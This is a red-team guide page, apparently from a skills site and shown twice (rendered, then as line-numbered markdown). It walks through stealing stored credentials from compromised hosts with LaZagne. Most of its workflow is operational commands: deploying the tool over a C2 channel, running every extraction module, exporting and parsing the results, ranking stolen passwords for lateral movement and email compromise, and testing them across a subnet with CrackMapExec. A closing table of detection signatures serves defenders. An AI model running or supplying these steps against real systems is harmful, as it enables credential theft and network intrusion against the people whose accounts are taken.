Performing Credential Access with LaZagne
Overview
LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.
When to Use
- When conducting security assessments that involve performing credential access with lazagne
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Objectives
- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints
- Extract credentials from all supported password stores
- Parse and prioritize recovered credentials for lateral movement
- Identify high-value credentials (domain admin, service accounts, cloud access)
- Document credential harvesting results with appropriate evidence handling
- Correlate recovered credentials with BloodHound attack paths
MITRE ATT&CK Mapping
- T1555 - Credentials from Password Stores
- T1555.003 - Credentials from Password Stores: Credentials from Web Browsers
- T1555.004 - Credentials from Password Stores: Windows Credential Manager
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1552.002 - Unsecured Credentials: Credentials in Registry
- T1003.004 - OS Credential Dumping: LSA Secrets
- T1539 - Steal Web Session Cookie
Workflow
Phase 1: LaZagne Deployment
- Transfer LaZagne to the compromised host:
# Pre-compiled executable (Windows)
# Transfer lazagne.exe via C2 channel or file upload
# Python version (requires Python on target)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne
pip install -r requirements.txt
- Verify execution capability and privileges:
# Check current user context
whoami /priv
# LaZagne works with standard user privileges for user-level stores
# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM
Phase 2: Full Credential Extraction (Windows)
- Run LaZagne with all modules:
# Extract all credentials
lazagne.exe all
# Export results to JSON
lazagne.exe all -oJ
# Export results to specific file
lazagne.exe all -oJ -output C:\Temp\creds
- Run specific modules for targeted extraction:
# Browsers only (Chrome, Firefox, Edge, Opera, IE)
lazagne.exe browsers
# Windows credential stores
lazagne.exe windows
# Database credentials
lazagne.exe databases
# Email client credentials
lazagne.exe mails
# Wi-Fi passwords
lazagne.exe wifi
# Git credentials
lazagne.exe git
# System credentials (requires elevated privileges)
lazagne.exe sysadmin
Phase 3: Credential Extraction (Linux)
- Run LaZagne on Linux targets:
# Full extraction
python3 laZagne.py all
# Browser credentials
python3 laZagne.py browsers
# System credentials (SSH keys, shadow file with root)
python3 laZagne.py sysadmin
# Database credentials
python3 laZagne.py databases
# Git credentials
python3 laZagne.py git
Phase 4: Credential Analysis and Prioritization
- Parse JSON output for unique credentials:
import json
with open("creds.json") as f:
results = json.load(f)
for module in results:
for entry in module.get("results", []):
print(f"Source: {entry.get('Category')}")
print(f" User: {entry.get('Login', 'N/A')}")
print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")
- Prioritize credentials by value:
- Domain credentials (AD accounts) for lateral movement
- Cloud service credentials (AWS, Azure, GCP console)
- VPN and remote access credentials
- Database credentials for data access
- Email credentials for business email compromise
- Service account credentials for privilege escalation
Phase 5: Credential Validation and Use
- Validate recovered domain credentials:
# Test domain credentials with CrackMapExec
crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'
# Test with Impacket
smbclient.py domain.local/user:'password'@10.10.10.1
- Cross-reference with BloodHound paths for high-value targets
- Use recovered credentials for lateral movement or privilege escalation
Tools and Resources
| Tool |
Purpose |
Platform |
| LaZagne |
Multi-source credential extraction |
Windows/Linux/macOS |
| Mimikatz |
LSASS/DPAPI credential dumping |
Windows |
| SharpChrome |
Chrome credential extraction (.NET) |
Windows |
| SharpDPAPI |
DPAPI credential decryption |
Windows |
| CrackMapExec |
Credential validation and spraying |
Linux |
| Impacket |
Remote credential testing |
Linux (Python) |
LaZagne Module Coverage (Windows)
| Category |
Modules |
| Browsers |
Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |
| Email |
Outlook, Thunderbird, Foxmail |
| Databases |
PostgreSQL, MySQL, SQLiteDB, Robomongo |
| Sysadmin |
PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |
| Windows |
Credential Manager, Vault, DPAPI, Autologon |
| WiFi |
Stored Wi-Fi passwords |
| Git |
Git Credential Store, Git Credential Manager |
| SVN |
TortoiseSVN |
| Chat |
Pidgin, Skype |
Detection Signatures
| Indicator |
Detection Method |
| LaZagne.exe process execution |
EDR process monitoring with hash-based detection |
| Access to Chrome Login Data SQLite DB |
File access monitoring on browser credential stores |
| DPAPI CryptUnprotectData API calls |
API hooking and ETW tracing |
| Access to Windows Credential Manager |
Event 5379 (Credential Manager read) |
| Mass credential store enumeration |
Behavioral analysis for sequential access patterns |
| Python interpreter accessing credential files |
Script block logging and file access auditing |
Validation Criteria
1---2name: performing-credential-access-with-lazagne3description: Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.4domain: cybersecurity5subdomain: red-teaming6tags: [red-team, credential-access, lazagne, post-exploitation, password-recovery, credential-dumping, lateral-movement]7version: "1.0"8author: mahipal9license: Apache-2.010metadata:11 source: https://skillmd.com/skills/micsapp/performing-credential-access-with-lazagne12---1314# Performing Credential Access with LaZagne1516## Overview1718LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.192021## When to Use2223- When conducting security assessments that involve performing credential access with lazagne24- When following incident response procedures for related security events25- When performing scheduled security testing or auditing activities26- When validating security controls through hands-on testing2728## Prerequisites2930- Familiarity with red teaming concepts and tools31- Access to a test or lab environment for safe execution32- Python 3.8+ with required dependencies installed33- Appropriate authorization for any testing activities3435## Objectives3637- Deploy LaZagne on compromised Windows, Linux, or macOS endpoints38- Extract credentials from all supported password stores39- Parse and prioritize recovered credentials for lateral movement40- Identify high-value credentials (domain admin, service accounts, cloud access)41- Document credential harvesting results with appropriate evidence handling42- Correlate recovered credentials with BloodHound attack paths4344## MITRE ATT&CK Mapping4546- **T1555** - Credentials from Password Stores47- **T1555.003** - Credentials from Password Stores: Credentials from Web Browsers48- **T1555.004** - Credentials from Password Stores: Windows Credential Manager49- **T1552.001** - Unsecured Credentials: Credentials In Files50- **T1552.002** - Unsecured Credentials: Credentials in Registry51- **T1003.004** - OS Credential Dumping: LSA Secrets52- **T1539** - Steal Web Session Cookie5354## Workflow5556### Phase 1: LaZagne Deployment571. Transfer LaZagne to the compromised host:58 ```powershell59 # Pre-compiled executable (Windows)60 # Transfer lazagne.exe via C2 channel or file upload6162 # Python version (requires Python on target)63 git clone https://github.com/AlessandroZ/LaZagne.git64 cd LaZagne65 pip install -r requirements.txt66 ```672. Verify execution capability and privileges:68 ```powershell69 # Check current user context70 whoami /priv7172 # LaZagne works with standard user privileges for user-level stores73 # SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM74 ```7576### Phase 2: Full Credential Extraction (Windows)771. Run LaZagne with all modules:78 ```powershell79 # Extract all credentials80 lazagne.exe all8182 # Export results to JSON83 lazagne.exe all -oJ8485 # Export results to specific file86 lazagne.exe all -oJ -output C:\Temp\creds87 ```882. Run specific modules for targeted extraction:89 ```powershell90 # Browsers only (Chrome, Firefox, Edge, Opera, IE)91 lazagne.exe browsers9293 # Windows credential stores94 lazagne.exe windows9596 # Database credentials97 lazagne.exe databases9899 # Email client credentials100 lazagne.exe mails101102 # Wi-Fi passwords103 lazagne.exe wifi104105 # Git credentials106 lazagne.exe git107108 # System credentials (requires elevated privileges)109 lazagne.exe sysadmin110 ```111112### Phase 3: Credential Extraction (Linux)1131. Run LaZagne on Linux targets:114 ```bash115 # Full extraction116 python3 laZagne.py all117118 # Browser credentials119 python3 laZagne.py browsers120121 # System credentials (SSH keys, shadow file with root)122 python3 laZagne.py sysadmin123124 # Database credentials125 python3 laZagne.py databases126127 # Git credentials128 python3 laZagne.py git129 ```130131### Phase 4: Credential Analysis and Prioritization1321. Parse JSON output for unique credentials:133 ```python134 import json135 with open("creds.json") as f:136 results = json.load(f)137 for module in results:138 for entry in module.get("results", []):139 print(f"Source: {entry.get('Category')}")140 print(f" User: {entry.get('Login', 'N/A')}")141 print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")142 ```1432. Prioritize credentials by value:144 - Domain credentials (AD accounts) for lateral movement145 - Cloud service credentials (AWS, Azure, GCP console)146 - VPN and remote access credentials147 - Database credentials for data access148 - Email credentials for business email compromise149 - Service account credentials for privilege escalation150151### Phase 5: Credential Validation and Use1521. Validate recovered domain credentials:153 ```bash154 # Test domain credentials with CrackMapExec155 crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'156157 # Test with Impacket158 smbclient.py domain.local/user:'password'@10.10.10.1159 ```1602. Cross-reference with BloodHound paths for high-value targets1613. Use recovered credentials for lateral movement or privilege escalation162163## Tools and Resources164165| Tool | Purpose | Platform |166|------|---------|----------|167| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |168| Mimikatz | LSASS/DPAPI credential dumping | Windows |169| SharpChrome | Chrome credential extraction (.NET) | Windows |170| SharpDPAPI | DPAPI credential decryption | Windows |171| CrackMapExec | Credential validation and spraying | Linux |172| Impacket | Remote credential testing | Linux (Python) |173174## LaZagne Module Coverage (Windows)175176| Category | Modules |177|----------|---------|178| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |179| Email | Outlook, Thunderbird, Foxmail |180| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |181| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |182| Windows | Credential Manager, Vault, DPAPI, Autologon |183| WiFi | Stored Wi-Fi passwords |184| Git | Git Credential Store, Git Credential Manager |185| SVN | TortoiseSVN |186| Chat | Pidgin, Skype |187188## Detection Signatures189190| Indicator | Detection Method |191|-----------|-----------------|192| LaZagne.exe process execution | EDR process monitoring with hash-based detection |193| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |194| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |195| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |196| Mass credential store enumeration | Behavioral analysis for sequential access patterns |197| Python interpreter accessing credential files | Script block logging and file access auditing |198199## Validation Criteria200201- [ ] LaZagne deployed on compromised endpoint202- [ ] Full credential extraction completed (all modules)203- [ ] Credentials exported in JSON format for analysis204- [ ] Recovered credentials parsed and deduplicated205- [ ] High-value credentials identified and prioritized206- [ ] Domain credentials validated against AD207- [ ] Lateral movement opportunities identified from recovered creds208- [ ] Evidence documented with appropriate handling procedures